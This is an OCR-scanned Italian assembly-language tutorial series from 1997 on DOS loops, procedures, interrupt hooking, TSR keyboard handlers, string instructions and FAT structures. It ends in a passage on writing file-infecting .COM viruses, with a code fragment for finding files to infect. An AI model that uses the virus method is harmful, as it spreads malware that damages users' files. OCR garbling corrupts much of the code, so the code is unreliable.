Do, ... dei linguaggi ad alto livello. Il numero di iterazioni viene fissato nel registro CX, che viene decrementato
ogni volta che si arriva all'istruzione LOOPxx fino a quando CX=0, in questo caso si continua con l'istruzione
successiva a LOOPxx. La sintassi di queste istruzioni é:

In particolare le istruzioni LOOPE, LOOPZ, LOOPNE, LOOPNZ oltre al controllo su CX eseguono un
controllo sulla condizione :

Istruzione Condizione

LOOPE gira mentre & uguale
LOOPNE gira mentre non € uguale
LOOPZ gira mentre € zero

LOOPNZ gira mentre non é& zero



Usare le Procedure

Sapete gia tutti cosa € una procedura quindi non stard qui a spiegarvi come si comporta il programma quando
incontra una procedura e cosa succede al flusso, mi limitero a spiegarvi la sintassi delle procedure in Assembly e a
darvi qualche altra informazione aggiuntiva. Per chiamare una procedure dal programma si usa l'istruzione:

nome_procedura PROC < [NEAR|FAR] >

< RET|RETN|RETF >[costante]
ENDP

Dove RETN sta per Return Near, RETF Return Far e la costante € il numero di byte da aggiungere allo Stack
Pointer (per i parametri). Il passaggio degli argomenti alle procedure avviene tramite lo stack oppure tramite uno
dei registri della CPU. (il pit usato e lo stack) Vediamo un esempio:

mov ax, 10

push ax ;primo parametro

push dato2 ; secondo

push cx ;jterzo

call addup ;chiamo la procedura

add sp, 6 ;sposto lo stack pointer (equivale a tre pop)
addup PROC NEAR

push bp ;salva il Base Pointer (occupa 2 byte !!)

mov bp, sp

mov ax, [bpt4] ;preleva il terzo argomento(e il CX di prima)

add ax, [bpt6] ;1o somma al secondo (cxtdato2)

add ax, [bp+8] ;1o somma al primo (cx+dato2+10)

pop bp ;risistema bp

ret

addup ENDP

Per capire cosa avviene nello stack serviamoci di alcuni disegni:

prima di CALL ADDUP dopo CALL ADDUP dopo PUSH BP

o= | | o=m—m——== | MOV BP, SP

| arg3 | | arg3 | |========- |
[——=——————= | [—===————= | | argl |<--BP+8
| arg2 | | arg2 | | —======== |

| == | | s==—mme== | | arg2 | <--BP+6
| argl |<--SP | argl | |————— |
e | [S=—es=aas | | arg3 | <--BP+4
| | | ret.add.|<--SP [——=——————= |
[Semm=seas | [Se—eseaas | | ret.add.|

dopo POP BP dopo RET dopo ADD SP,6
|======= ! |======mm | | |<--SP



Spero che ora abbiate chiaro il funzionamento dello stack!!! In realta la direttiva PROC permette di specificare i
parametri da passare alla procedura in accordo con il linguaggio dichiarato nella direttiva .MODEL ma per ora
accontentiamoci di usare quanto detto sopra, poi in uno dei prossimi tutorial riprenderd meglio il discorso delle
direttive messe a disposizione dai nuovi Assemblatori.

Usare gli Interrupts

Gli interrupts sono una particoalre serie di rountine messe a disposizione dall'hardware e dal sistema operativo.
Essi hanno un nuero di "riconoscimento" che va da 0 a 255 e vengono chiamate nel segunte modo:

INT numero
INTO

Quando viene chiamato un interrupt il processore esegue i seguenti passi:

Step Descrizione

1. Cerca l'indirizzo della routine nella tavola dei descrittori all'indirizzo 0000:0000 + 4*numero

2. Salva il registro di flag, il CS e I'IP corrente (per poter tornare)

3. Azzera il TF e setta a 1 IF

4, Salta all'indirizzo della rountine di int.

5. Esegue la rountine fino a quando incontra l'istruzione IRET

6. Ripristina la condizione del processore prima della chiamata estraendo dallo stack IP,CS e i FLAG

L'istruzione INTO (interrupt on overflow) € una variante, essa chiama l'int 04h quando OF=1
STI, CLI

Queste due istruzioni servono rispettivamente per abilitre e disabilitare gli interrupt hardware. Questo significa che
dopo la CLI il programma in esecuzione non puo essere interrotto da un interrupt esterno.

Definire e Ridefinire le Routine di Interrupt

Visto che il DOS & un sistema aperto vi permette di sostituire o di riscrivere le routine di interrupt per i vostri
programmi. La sintassi della rountine che scriverete sara all'incirca cosi:



label PROC FAR

IRET
label ENDP

Come vedete dovete dichiarare una procedura di tipo far e questa deve terminare con l'istruzione IRET. Il
vostro programma deve sostituire 1'indirizzo nel vettore di interrupt con l'indirizzo della vostra routine
(tramite opportune chiamte al DOS) dopo aver salvato quello vecchio, in questo modo tutte le volte che si
verifica un int su quello da voi modificato il programma invece di seguire la consueta procedura eseguira la
vostra routine. Per capire meglio serviamoci come sempre di un esempio, scriviamo un frammento di
programma che modifica la rountine dell'int 04h (overflow). Le funzioni del DOS che ci servono per
prelevare e per settare l'int sono la 35h e la 25h rispettivamente:

Interrupt Input Output
AH = 35h -> preleva il vettore di int

int 21h,35h ES:BX=puntatore alla rountine
AL = numero dell'interrupt da prelevare
AH = 25h -> imposta la routine di int

int 21h,25h | AL = numero dell'interrupt niente!

DS:DX = puntatore alla rountine

Ora ecco il codice:
;Intd.asm - by bOnu$, 1997

.MODEL SMALL

.DATA
messaggio DB "Overflow!! Azzeramento risultato...",'S'
old vector DD ?
.CODE
STARTUPCODE ;Ve la spiego dopo!!!
start: mov ax,3504h ;ah=35, al=04
int 21h ;preleva 1'int
mov WORD PTR old vector([2],es ;salva l1'indirizzo
mov WORD PTR old vector([0],bx ;NB:Le convenzioni Intel

;jdicono di salvare prima
;11 byte meno signif.
;poli quello pi— sign. 2?2

push ds ;salvo il DS

mov ax,cs

mov ds, ax ;jcarico 1'ind. della nuova

mov dx, OFFSET new overflow ;routine in DS:DX

mov ax,2504h

int 21h ;setto la nuova routine

pop ds

add ax,bx ;faccio una somma

into ;chiamo 1'int 4 se c'e overflow
mov dx,WORD PTR old vector ;jricarico la routine originale

mov ax,2504h ;e la ripristino



int 21h

mov ax,4C00h
int 21h ;termino il programma
new overflow PROC FAR
sti ;disattivo le interruzioni
mov ax,SEG messaggio
mov ds,ax
mov dx, OFFSET messaggio
mov ah, 09h
int 21h ;stampo il messaggio
XOr ax,ax ;azzero 11 risultato
X0or dx, dx
iret
new overflow ENDP
END start

Come potete vedere il programma esegue i seguenti passi:

Step Descrizione

1. Salva l'indirizzo del vettore di int

2. Imposta l'indirizzo della nuova routine
3. Fa quello che deve fare ....

4. Ripristina la vecchai routine

In questo esempio tutte le volte che viene chiamato I'int 04h si esegue la procedura new_overflow. Spesso invece
di sostituire totalmente la routine si cerca di estenderne le sue funzionalita, in questi casi all'interno della nuova
routine di int dopo aver svolto il compito si mette una chiamata a quella vecchia in modo che vengano eseguite in
cascata. Nota: nel programma ho usato la direttiva STARTUPCODE, serve per inizializzare i segmenti DS, SS eil
registro SP. Naturalmente potete sostituirlo con le istruzioni usate negli esempi precedenti.

Note Finali

Abbiamo visto cosi i metodi per eseguire salti cicli e procedure, strumenti indispensabli per scrivere del codice
efficiente. Prestate particolare attenzione alla modifica delle routine di interrupt che riprendermo nel prossimo
tutorial riguardante i programmi residenti in memoria. Per ora vi lascio al vostro lavoro.

Trattiamo oggi un argomento non troppo facile ma interessante: i programmi TSR, Terminate but Stay Resident, si
tratta di quei programmi che rimangono in memoria e si attivano solo in determinate situazioni(di solito al
verificarsi di particolari interrupt). Analizzeremo in particolare un programmino che a ogni pressione di un tasto
emette un beep.



PROGRAMMI TSR

Per la realizzazione di un programma TSR serve conoscere l'int 27h che ha per parametri I'indirizzo dell'ultimo byte
del programma pil uno e il DS del programma.
Il procedimento e il seguente :

Memorizza l'indirizzo della vecchia routine di interrupt
Rimpiazza la routine di interrupt con una nuova
Chiama l'interrupt 27h

Ma vediamo subito il programma e poi lo commentiamo:

;Beep.asm - by bOnu$, 1997
.286¢
.MODEL SMALL

INTERRUPT NUM EQU 9 ;Interrupt da intercettare
.CODE
ORG 100H

FIRST: JMP LOAD PROG ;Carico in memoria il prg.
OLD KEYBOARD INT DD ? ;memorizza 1l'indirizzo al

;vecchio vettore di int.

PROG PROC
pusha ;salvo 1 registri
pushf
call OLD KEYBOARD INT ;chiamo la vecchia routine di int.

;QUI CI VA IL PROGRAMMA: In questo esempio ho deciso di emettere un BEEP ma

’

in al,6lh ;Per il BEEP programmo il Timer
test al,3
jne skippa
or al,3
out 6lh,al
mov al, 0B6h
out 43h,al
skippa: mov al,06h ;frequenza LSB
out 42h,al
mov al,0lh ;frequenza MSB
out 42h,al
mov cx, OFFFFh
wait loop:
loop wait loop ;ciclo di attesa
in al,6lh ;silenzio
and al, OFCh
out 061h,al
EXIT
popa
iret
PROG ENDP
LOAD PROG PROC ;Precedura che carica in memoria il prg.
mov ah, 35h
mov al,INTERRUPT_NUM
int 21h ;Prelevo il vecchio vettore
mov WORD PTR OLD KEYBOARD INT, bx
mov WORD PTR OLD KEYBOARD INT([2],es

mov al, INTERRUPT NUM

mov ah, 25h

lea dx, PROG

int 21h ; Imposto quello nuovo

mov dx, OFFSET LOAD_PROG ;in DX ci va l'ultimo byte del

;prg. + 1
int 27h ;Termina ma rimani in memoria



LOAD PROG ENDP
END FIRST

Come potete vedere la prima operazione svolta dal programma & quella di chiamare la procedura LOAD_PROG.
Questa memorizza il vecchio vettore di interrupt e imposta quello nuovo, infine chiama I'int 27h per rimanere
residente in memoria. In questo modo tutte le volte che viene generato un int 09h (in pratica tutte le volte che
viene premuto un tasto)verra eseguita la procedura PROG scritta da noi. Essa come prima cosa salva il valore dei
registri (cosa da fare sempre in questi casi), poi chiama la vecchia routine di int; in questo caso ci serve per
visualizzare il carattere relativo al tasto premuto in pratica a questo livello lasciamo tutto come era prima. Il
programma vero e proprio arriva subito dopo e nel nostro caso emette un BEEP dallo speaker e lo fa andando a
programmare direttamente il timer.

Il timer consiste in un dispositivo che pud lavorare in diverse modalita a seconda dei valori che immetto nella
porta 43h. Non sto qui a spiegarvi tutti i dettagli del timer, vi dico solo nel programma attivo il timer tramite la
porta 61h,immetto nella porta 43h la modalita di funzionamento (Square Wave Generator) e nella porta 42h la
frequenza del suono sotto forma di due byte, prima quello meno significativo poi quello pil significativo, infine
spengo tutto tramite la porta 61h.

Dopo aver emesso il suono la procedura ripristina i registri e rilascia il controllo. Come vedete non € poi cosi
difficile e i passi per la realizzazione sono abbastanza standard. In questo modo la parte residente € solo la
procedura PROG tutto il resto viene scaricato dopo I'int 27h. Naturalmente la parte residente deve stare nei 64Kb
di un segmento e cosi pure il programma deve essere un file .COM.

Questo programma non € pero tanto utile se non a livello di folklore. Infatti sarebbe piu interessante sapere quale
tasto e stato premuto per poter intercettare una particolare combinazione di tasti. Per far cido devo spendere due
parole per dirvi dove vengono memorizzati i tasti premuti. Una parte del BIOS viene memorizzato in RAM a partire
dall'indirizzo 400h fino all'indirizzo 4FFh; in quest'area sono memorizzate numerose informazioni riguardanti
I'hnardware del PC come gli indirizzi delle porte seriali e parallele il numero di dischi il tipo di computer la modalit...
video ecc... tra le tante cose all'indirizzo 41Ah (0040:001A) c'é un puntatore (2 byte) alla testa del buffer dei
caratteri arrivati dalla tastiera, subito dopo (41Ch) un puntatore alla coda dello stesso buffer e all'indirizzo 41Eh
c'e il buffer circolare composto da 32 bytes (0040:001E --> 0040:003E) che contiene i codici ASCII e gli SCAN
CODE dei tasti premuti. Bene ora che sappiamo dove sono basta andare a prenderli. Ecco un programma che lo
fa...

;Beep2.asm - by bOnu$, 1997
.286¢
.MODEL SMALL

INTERRUPT NUM EQU 9 ;Interrupt da intercettare

ROM BIOS DATA SEGMENT AT 40H ;Questi sono dati memorizzati
ORG 1AH ;nel BIOS all'ind. 0040:001A
HEAD DW ? ;Puntatore alla testa del buffer
TAIL DW ? ;Puntatore alla coda del buffer
BUFF DW 16 DUP(?);Buffer
BUFF_END LABEL WORD

ROM BIOS DATA ENDS

.CODE
ORG 100H
FIRST: JMP LOAD PROG ;Carico in memoria il prg.
OLD KEYBOARD INT DD ? ;memorizza l'indirizzo al
;vecchio vettore di int.
PROG PROC
pusha ;salvo 1 registri
pushf
call OLD KEYBOARD INT ;chiamo la vecchia routine di int.

ASSUME ds:ROM BIOS DATA

push ds
mov bx,ROM BIOS DATA ;Questo gruppo di istruzioni
mov ds, bx ;mi serve per gestire il buffer
mov bx, TAIL ;del caratteri letti
cmp bx, HEAD
je EXIT ;Non ci sono caratteri
sub bx, 2 ;s1 sposta di due bytes
cmp bx,OFFSET BUFF ;controlla di non uscire
jae NO WRAP
mov bx, OFFSET BUFF END

sub bx, 2 ;BX punta al carattere



NO_WRAP: mov dx, [bx] ;in DL c'e il carattere letto

;QUI CI VA IL PROGRAMMA: In questo esempio ho deciso di emettere un BEEP ma
;si puo fare qualunque cosa.
; tranne che chiamare un interrupt del DOS!!

;routine di beep col timer vista prima

in al,6lh ;Per il BEEP programmo il Timer
test al,3
jne skippa
or al,3
out 6lh,al
mov al, 0Boh
out 43h,al
skippa: mov al,06h ;frequenza LSB
out 42h,al
mov al,0lh ;frequenza MSB
out 42h,al
mov cx, OFFFFh
wait loop:
loop wait loop ;jciclo di attesa
in al,6lh ;silenzio
and al, OFCh
out 061lh,al
EXIT: pop ds
popf
popa
iret
PROG ENDP
LOAD PROG PROC ;Precedura che carica in memoria il prg.
mov ah, 35h
mov al,INTERRUPT_NUM
int 21h ;Prelevo 11 vecchio vettore
mov WORD PTR OLD KEYBOARD INT, bx
mov WORD PTR OLDiKEYBOARDiINT[Z],es

mov al, INTERRUPT NUM

mov ah, 25h
lea dx, PROG
int 21h ; Imposto quello nuovo
mov dx, OFFSET LOAD PROG ;in DX ci va l'ultimo byte del
;prg.+1
int 27h ;Termina ma rimani in memoria
LOAD PROG ENDP
END FIRST

La variabile ROM_BIOS_DATA memorizza i due puntatori e il buffer e le istruzioni aggiunte dopo la chiamata al
vecchio int si occupano di prelevare il codice ASCII del tasto premuto. Alla fine di quelle istruzioni avremo in DH lo
SCAN CODE e in DL il codice ASCII e possiamo confrontare il carattere letto con quello da intercettare e fare quello
che vogliamo. Nell'esempio si controlla se e stata premuta le lettera b e in tal caso di emette un lungo BEEP.

Note Finali

OK spero che sia tutto chiaro so che non & facilissimo ma provate a scrivere qualcosa magari per cominciare
modificate uno dei due programmi in modo che intercettino altri tasti o che facciano qualcos'altro. L'argomento &
abbastanza complicato e richiede un codice molto pulito per non andare ad interferire con altri programmi
residenti o altri driver, ma non scoraggiatevi e continuate......



Disclaimer

Con il termine stringa non mi riferisco solo alla definizione classica di sequenza di caratteri, ma intendo una
qualsiasi sequenza di byte, word,... Le istruzioni che analizzeremo sono:

MOVS
SCAS
CMPS
LODS
STOS
INS
ouTS
REPxx

Queste instruzioni lavorano pil o meno tutte nello stesso modo, secondo la seguente procedura:
1. Assicuratevi che il Flag di Direzione sia a posto:
se e 0 la stringa viene processata dal basso verso ['alto
se & 1 la stringa viene processata dall'alto verso il basso dove con alto e basso intendo le posizioni di
memoria). Le istruzioni per azzerare e settare il DF sono CLD e STD rispettivamente.
2. Caricate il numero di iterazioni nel registro CX.
3. Caricate I'indirizzo iniziale della stringa sorgente in DS:SI e quello della stringa destinazione in ES:DI

4. Usate le istruzioni di ripetizione al posto giusto (guardate la tabella seguente)

5. Mettete l'istruzione appropriata come operando dell'istruzione di ripetizione
Vi riporto in una tabella le istruzioni con i prefissi che usano e su che tipo di operandi lavorano.

Istruzione Prefisso di rip. Sorg/Dest Registri

MOVS REP Entrambi DS:SI,ES:DI
SCAS REPE/REPNE Destinazione ES:DI
CMPS REPE/REPNE Entrambi ES:DI,DS:SI
LODS niente Sorgente DS:SI
STOS REP Destinazione ES:DI
INS REP Destinazione ES:DI
OUTS REP Sorgente DS:SI

Queste istruzioni hanno 2 tipi di sintassi:

[prefisso di ripetizione] istruzione [ES:[dest]],[sorgente]
[prefisso di ripetizione] istruzione < B|W|niente >



Dove B e W stanno per Byte e Word rispettivamente. Ad esempio con l'istruzione MOVS puo essere data con
operandi(byte o word), oppure posso usare MOVSB per spostare byte o MOVSW per spostare word. I prefissi di
ripetizione controllano il valore di CX e le eventuali condizioni specificate:

REP - Ripete fino a quando CX=0
REPE o REPZ - Ripete mentre & uguale o fino a quando CX=0
REPNE o REPNZ - Ripente mentre & diverso o fino a quando CX=0

Durante l'esecuzione un'istruzione preceduta da uno di questi prefissi segue il seguente algoritmo:
1. Controlla il valore di CX, se CX=0 esce.
2. Esegue l'operazione sulla stringa.

3. Aumente il valore di SI e/o DI (o diminuisce, dipende dal DF). L'incremento € 1 per le operazioni dui bye 2 per
quelle sulle word.

4. Decrementa CX
5. Se l'istruzione & SCAS o CMPS controlla lo ZF (Zero Flag) ed esce se la condizione ¢ falsa.

6. Torna al punto 1.

Ora che abbiamo visto in generale come funzionano vediamo a cosa servono e come si usano una ad una.

Le Istruzioni
MOVS

Questa serve per muovere una stringa da una locazione di memoria ad un altra.
La sintassi da usare é:

[REP] MOVS < destinazione >,< sorgente >
[REP] MOVSB
[REP] MOVSW

Dove i suffissi B e W stanno per Byte e Word. Al solito ecco un esempio del loro utilizzo:

.MODEL small

.DATA
source DB 10 DUP ('0123456789")
destin DB 10 DUP (?)
.CODE
mov ax, @data ;€ un altro modo per carica il segmento
mov ds, ax ;1o metto in DS
mov es, ax ;e anche in ES
cld
mov cx,10 ;imposto il numero di iterazioni
mov si,OFFSET source;Carico l1'ind. del sorgente
mov di, OFFSET destin;Carico 1'ind. della desinazione

rep movsb ;sposto 10 byte



Spesso ¢ piu efficiente spostare le stringhe come word che non come byte effettuando cosi meta iterazioni,
(Attenzione perd al numero di byte che compongono la scritta: deve essere pari).

SCAS

Questa istruzione & usata per cercare in una stringa uno specificato valore.
Sintassi:

[REPE|REPNE] SCAS [ES:]< dest >
[REPE|REPNE] SCASB
[REPE|REPNE] SCASW

La stringa su cui operare deve essere all'indirizzo ES:DI e il valore da cercare deve essere in AL o in AX (byte o
word rispettivamente). Quando trova il valore cercato viente settato lo ZF.

Esempio:
.DATA
stringa DB "Ken il guerriero"
lung EQU $-stringa ;lunghezza della stringa
pstringa DD string ;puntatore alla stringa
.CODE
cld ;direzione dx-->sx
mov cx, lung
les di,pstringa
mov al,'r' ;carattere da cercare
repne scasb ;cerco
jnz non_trovato ;se non lo trovo salto

;ES:DI punta al carattere che cercavo
;in questo caso la prima r

non_trovato:

CMPS

Qeuesta e usata per confrontare due stringhe.
Sintassi:

[REPE|REPNE] CMPS < sorg >,[ES:]< dest >
[REPE|REPNE] CMPSB
[REPE|REPNE] CMPSW

NOTA: Attenzione che in CMPS il sorgente € I'operatore a sinistra !!!! CMPS lavora confrontando uno ad uno i valori
puntati da DI con quelli puntati da SI, se sono uguali viene settato lo ZF.
Esempio:

.MODEL Large

.DATA
stringl DB "Ken il guerriero"

.FARDATA ;uso un altro segmento dati di tipo FAR
string2 DB "Ken i1 pippero"
lung EQU S-string2

.CODE

mov ax,@data ;carico i due segmenti in DS e ES

mov ds, ax

mov ax@fardata

mov es, ax



cld

mov cx, lung

mov si,OFFSET stringl

mov di, OFFSET string2

repe cmpsb ;confronto

jz sono_uguali ;se ZF=0 sono uguali, altrimenti...

dec di ;posiziono 1 puntatori sul carattere diverso
dec si

sono_uguéii:
STOS

Questa serve per riempire una stringa con un determinato valore.
Sintassi:

[REP] STOS [ES:]< destinazione >
[REP] STOSB
[REP] STOSW

Il valore con cui riempire le stringhe va messo in AL o AX (byte o word risp).
Esempio:

.MODEL small

.DATA

stringa DB 100 DUP(?)
.CODE
cld ;direzione dx-->sx
mov ax, 'aa ;valore con cui riempire
mov cx, 50 ;numero di iterazioni
mov di,OFFSET stringa ;puntatore alla stringa
rep stosw ;jriempio con word

Notate che usando la STOSW che riempie con word, facendo 50 iterazioni riempio tutti i 100 byte !!!

LODS

Questa serve per caricare un valore da una stringa ad un registro.
La sintassi:

LODS [seg:]< sorgente >
LODSB
LODSW

Il valore che carichiamo va a finire in AL o AX e la stringa deve essere puntata da DS:SI. Al contrario delle altre
istruzioni LODS non € usata con i prefissi, non avrebbe molto senso!

Esempio :

.DATA

numeri DB 0,1,2,3,4,5,6,7,8,9
.CODE
cld

mov cx,10 ;numero di iterazioni



mov si,OFFSET numeri
mov ah, 2
prendi: lodsb

add al,'0' ;converte in ASCII

mov dl,al

int 21h ;1o visualizza

loop prendi ;torna a cercare
OUTS e INS

Queste istruzioni servono per trasferire stringa dalle/alle porte.
La loro sintassi:

OUTS DX, [seg:]< sorgente >
OUTSB
OUTSW

INS [ES:]< destinazione >,DX
INSB
INSW

Il numero della porta va specificato in DX e non pud essere specificato per valore.

Esempio:

.DATA

count EQU 100

buffer DB count DUP (?)

inport DW ?
.CODE
cld ;direzione
mov cx,count ;numero iterazioni
mov di, OFFSET buffer ;puntatore al buffe
mov dx, inport ;numero della porta
rep insb ;jcarica nel buffer

Si usa CX come contatore del nhumero di byte/word da trasferire.

Note Finali

Anche per stavolta avrei terminato, ho aggiunto al vostro bagaglio parecchie nuove istruzioni molto utili per
copiare spostare ... dati, che & poi la cosa principale che un programma fa !!!

Negli anni ottanta un giovane signore di nome Peter Norton sorprese i suoi amici recuperando un file cancellato, e
questa piccola utility che prese il nome di unerase lo rese famoso nel mondo della programmazione.

In questo tutorial vedremo come € organizzato il file system del DOS, vedremo come esso salva e cancella i file e
impareremo ad usare alcune routine messe a disposizione dal sistema operativo.

Tracce e Settori

Un hard-disk & costituito da un certo numero di dischi "impilati" uno sull'altro a cui si accede per leggere e scrivere
tramite un pettine di testine:
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Ogni disco & costituito da 2 facce, ogni faccia da n tracce e ogni traccia da m settori.

Il settore e l'unita minima di informazione che pud essere letta o scritta e variano a seconda della capacita del
disco da 32 a 4096 byte (di solito sono 512); su ogni traccia ci sono da 4 a 32 settori e su ogni superficie da 20 a
1500 tracce.

Un settore € composto da due parti: un numero di identificazione e I'area dei dati.

Struttura fisica di un disco

Un disco fisso & diviso in diverse aree che sono:

Boot Sector
FAT 1

FAT 2

Root directory
Data

Vediamoli uno a uno in dettaglio.

Boot Sector

Il boot sector & situato sul primo settore del disco e contiene vari parametri riguardanti il disco stesso, riporto di
seguito la sua struttura:

BOOT STRUCT
bsJMP db 3 dup (?)
bsOEM db 8 dup (?)
bsSECTSIZE dw ?
bsCLUSTSIZE db ?
bsRESSECT dw ?
bsFATCNT db ?
bsROOTSIZE dw ?
bsTOTALSECT dw ?
bsMEDIA db ?
bsFATSIZE dw ?
bsTRACKSECT dw ?
bsHEADCNT dw ?
bsHIDENSECT dd ?
bsHUGESECT dd ?
bsDRIVENUM db ?
bsRESERV db ?
bsBOOTSIGN db ?
bsVOLID dd ?
bsVOLABEL db 11 dup(?)
bsFILESTYPE db 8 dup(?)
BOOT ENDS

Vediamo cosa contengono:

bsJMP: contiene un'istruzione di JMP al codice di BOOT che carica il Sistema Operativo dal disco. Di solito il
suo valore & E9h,XX,XX



bsOEM: & un identificativo Original Equipment Manufacturer. Non & usato dal dos

bsSECTSIZE: byte per settore

bsCLUSTER: settori per cluster

bsRESSECT: numero di settori riservati contiene di solito il numero di settori fino alla prima FAT

bsFATCNT: numero di FAT (di solito 2).Se ne usano due per poter recuperare i dati nel caso una si
danneggi

bsROOTSIZE: massimo numero di voci in una directory

bsTOTALSECT: numero di settori del drive o della partizione. Se la partizione & superiore a 32Mb, questo
valore € 0 e il numero di settori & specificato nel campo bsHUGESECT

bsMEDIA: specifica il tipo di drive FDD 3.5 1.44, FDD 3.5 2.88, CD-ROM, HD, ecc...
bsFATSIZE: numero di settori di una FAT

bsTRACKSECT: settori per traccia

bsHEADCNT: numero di testine per la lettura/scrittura

bsHIDENSECT: numero di settori nascosti

bsHUGESECT: numero di settore per dischi con capacita superiore ai 32Mb
bsDRIVENUM: 80h se ¢ il drive di boot, 0 altrimenti

bsRESERV: non ancora usato (!)

bsBOOTSIGN: 29h (??)

bsVOLID: numero seriale del volume

bsVOLABEL: etichetta del volume

bsFILESTYPE: indica il tipo di file system :FAT12 o FAT16

Questa struttura € seguita dal codice di boot che carica il S.0. e termina con 0AA55h.

FAT

I1 DOS mappa lo spazio usando i Cluster non 1 settori e ogni cluster consiste di un certo numero di settori
consecutivi. Quando si crea un file il sistema alloca una catena di cluster per il file, ci scrive dentro i dati e
memorizza le informazioni circa la locazione dei cluster nella File Allocation Table (FAT).

La FAT ¢ un array con elementi di 12 o 16 bit (dipende dal numero dei cluster), i primi 3 byte (12bit) o 4
byte (16bit) sono riservati, per quanto riguarda il resto riporto una tabella con i valori dei possibili elementi:

Valore Significato

(0)000h Cluster libero

(F)FFOh-(F)FF6h  Cluster riservato

(F)FF7h Cluster danneggiato

(0)002h-(F)FEFh Cluster allocato, il numero & quello del prossimo cluster nella catena

(F)FF8h-(F)FFFh Ultimo cluster della catena
Quando il DOS crea un nuovo file o directory memorizza l'indice del primo cluster nella directory destinazione
all'offset 1Ah e allo stesso tempo questo ¢ l'indice del primo elemento nella FAT. Il valore nella FAT indica il

prossimo cluster nella catena e cosi via fino all'ultimo cluster indicato con (F)FF8h-(F)FFFh.
Vediamo un esempio.

Consideriamo un file (PIPPO.EXE) situato nella root directory e supponiamo che inizi al cluster 04h. La struttura
della FAT potrebbere essere questa:

il S o i il
il il e i il

indice

Valore




Quelli sottolineati sono i cluster del nostro file.
ROOT DIRECTORY

Qualsiasi disco ha una root directory ed eventualmente altre sotto-directory, ogni dir & un array di record.
La root directory € memorizzata subito dopo la seconda FAT mentre le altre dir sono trattate come normali file.
La struttura di un elemento della directory é:

DIRENTRY STRUCT
deFILENAME db 8 dup (?)
deFILEEXT db 3 dup(?)
deATRIB db ?
deRESERV db 0OAh dup (?)
deTIME dw ?
deDATE dw ?
deCLUSTNUM dw ?
deFILESIZE dd ?

DIRENTRY ENDS

Vediamo il significato di ogni campo:

deFILENAME: Contiene il nome del file. Il primo carattere pud avere un significato particolare:

Valore Significato
0 L'elemento non & mai stato usato
05h Significa che il primo carattere del nome & OE5h (ASCII)

Se il resto di questo campo sono spazi (20h) allora il campo deCLUSTNUM contiene il primo cluster della
02Eh directory. Se anche il secondo valore € 02Eh e gli altri sono spazi, il campo deCLUSTNUM contiene il primo
cluster della directory padre, oppure 0 se & la ROOT dir

OE5h Questo file o directory & stato cancellato (il resto del nome rimane uguale)

deFILEEXT: 3 caratteri che contengono I'estensione del file.

deATRIB: Attributi del file:
7 6 5 4 3 2 1 0 Dbits

A D V S H R
[ I I | | |1_ 1= Read only
\ | | | \ = Hidden
| | | | = System
| | | = Volume label
| | = Subdirectory
| = New or modified

e N e
I

deRESERV: Riservato (!)
deTIME: L'ora in cui il file & stato creato o modificato I'ultima volta. Il formato € il seguente:

15 (14 |13 |12 |11 |10 F9 |F8 F7 F6 Fs fo4 [03 f02 [o1 |oo

rrerrrprR
deDATE: Data in cui il file & stato creato o modificato I'ultima volta. Il formato € il seguente:
15 |14 |13 |12 |11 |10 Fg |F8 F7 Fe Fs F4 F3 |F2 |F1 Fo
"rrrrPPPPP
deCLUSTNUM: Cluster iniziale della directory o del file.

deFILESIZE: dimensione del file in bytes

‘M s Is Is s |s

Y |Y Y Y Y |M




Note Finali

Per ora non mi vengono in mente esempi significativi da mostrarvi, ci sono vari interrupt che servono per creare
file, leggerli, scrQuesta volta parleremo dei virus, quei simpatici programmini che ti ritrovi per caso sul tuo Hard
Disk e che mandano in crisi il tuo PC.

Ora, tutto quello che spieghero in questo tutorial non deve essere usato per scrivere nuovi e piu potenti virus ma
solo per imparare |'arte della programmazione in Assembler e anche per imparare a proteggersi da questo genere
di attacchi.

Quindi non mi ritengo responsabile degli eventuali danni che apporterete al vostro computer o a quello dei vostri
amici. Stateci attenti.

Vedremo solo virus in grado di infettare i file .COM anche se oggi non se ne trovano piu tanti (di file COM!), in
particolare trattero gli appending viruses, cioé quelli che si agganciano alla fine del file senza distruggerlo.

VIRUS

Un virus & composto principalmente da due parti : il replicatore e la cosiddetta "bomb".

Il replicatore & quella parte del programma virus che permette a quest'ultimo di replicarsi in modo da infettare
quanti piu file possibile, la bomb €& la parte piu divertente ed & quella che svolge I'operazione per cui e stato
designato il virus questa va dalla semplice visualizzazione di un messaggio alla distruzione della FAT area, dipende
solo dalla fantasia del programmatore.

IL REPLICATORE

Il compito del replicatore come abbiamo gia detto ¢ quello di duplicarsi infettando altri files.
Come si puo fare?
Consideriamo un pgm (.COM) esso puo essere scomposto in 2 parti:

vittima.com

P1 P2

Anche il virus essendo un pgm puo essere cosi diviso:
virus.com

vi V2
I passi che il virus deve eseguire per replicarsi sono i seguenti:
Il virus salva P1 in fondo al file vittima.com e al suo posto ci copia V1, avremo la seguente situazione:

vi P2 P1

Ora il virus copia la seconda parte (V2) in fondo al file:

vi P2 P1 V2

Vi starete chiedendo che ca.. c'é€ dentro V1 e V2. Il compito di V1 & quello di passare il controllo a V2 e consiste in



NN NS

un salto, cosi quando eseguo il programma infetto la prima cosa che si fa & saltare al codice del virus contenuta in
V2. Una volta eseguito V2 il controllo torna al programma. Semplice vero? Beh non proprio. Vediamo meglio quali
sono i passi che deve svolgere il replicatore per infettare un file:

Cerca il file da infettare

Controlla se & gia infetto

Sesitornaal

Infettalo!!

Torna a 1 oppure esci se ne hai abbastanza

Vediamole nel dettaglio:
PASSO 1 - Cerco il file da infettare

Si puo decidere se cercare i file solo nella directory corrente oppure cambiare dir. per avere piu possibilita di
diffondersi. Cercare in piu' directory puo rallentare I'esecuzione del programma al quale € attaccato e puo quindi
sollevare sospetti nell'utente, quindi state attenti. Per cercare un file devo ricorrere al DTA (Disk Transfer Area)
che e una struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice puo essere una cosa del tipo:

mov ah, 1Ah ;Prende i1 DTA e lo mette in
lea dx, [bp+OFFSET DTA] ;una variabile di nome DTA (!!)
int 21h
mov ah, 4Eh ;jcerca il primo file
mov cx,0007h ;Qualsiasi attributo
lea dx, [bp+OFFSET file mask] ;DS: [DX] --> file mask
int 21h
jc non trovato ;non 1'ha trovato
ancora: call controlla infezione ;guarda se e gia infetto
;se non lo & lo infetta
mov ah, 4Fh ;jcerca il prox
int 21h
jnc ancora

non_trovato:
In questo frammento file_mask puo essere '*.*' * EXE' o come useremo noi '*.COM".
PASSO 2 - Controlla se é gia infetto

Un metodo abbastanza semplice per sapere se un file & gia infetto o meno € di memorizzare un ID durante
I'infezione in modo da poterlo trovare la volta successiva.

Ad esempio:

